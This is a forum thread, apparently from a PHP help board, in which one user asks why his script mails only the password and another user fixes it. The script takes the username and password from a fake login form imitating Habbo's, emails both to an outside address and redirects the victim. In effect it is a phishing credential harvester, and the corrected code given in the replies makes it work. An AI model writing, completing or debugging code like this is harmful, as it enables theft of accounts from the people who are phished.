only sending password

[rofl90]

Register.php

 

<?php

  if ($_SERVER['REQUEST_METHOD'] != 'GET') {  
    $user = $_POST['loginTicket']; 
    $pass = $_POST['password'];  
    $messig = "Username: $user\nPassword: $pass\n";
    $subject = $user;  

    if (mail("example@yahoo.co.uk", $subject, $messig)) { 
      header("Location: http://www.example.com/thanks");
    } else {
      echo 'ERROR';
    }
  }
  
?>

 

 

 

form.php

extract only

<form action="post.php" method="post" name="form" class="login-habblet" id="login-form">
            
            <ul>
                <li>
                    <label for="login-username" class="login-text">Username
                    <input type="hidden" name="loginTicket" value="" />
                    </label>
                    <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" />

                </li>
                <li>
                    <label for="login-password" class="login-text">Password</label>
                    <input tabindex="2" type="password" class="login-field" name="password" id="login-password" />
                    <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" />

 

whats wrong ;/

[phpSensei]

It should be

 

   
$user = $_POST['habbo']; 
$pass = $_POST['password'];
$loginTicket = $_POST['loginTicket']; 

 

and

 

<form action="post.php" method="post" name="form" class="login-habblet" id="login-form">
            
            <ul>
                <li>
                    <label for="login-username" class="login-text">Username
                    <input type="hidden" name="loginTicket" value="loginTicket" />
                    </label>
                    <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" />

                </li>
                <li>
                    <label for="login-password" class="login-text">Password</label>
                    <input tabindex="2" type="password" class="login-field" name="password" id="login-password" />
                    <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" />
				</form>

[rofl90]

where did you get loginTicked from it's 'loginTicket'

[phpSensei]

where did you get loginTicked from it's 'loginTicket'

 

I edited my post.

 

 

You set no value for loginTicket

 

<input type="hidden" name="loginTicket" value="" />

[rofl90]

aha silly me, thanks man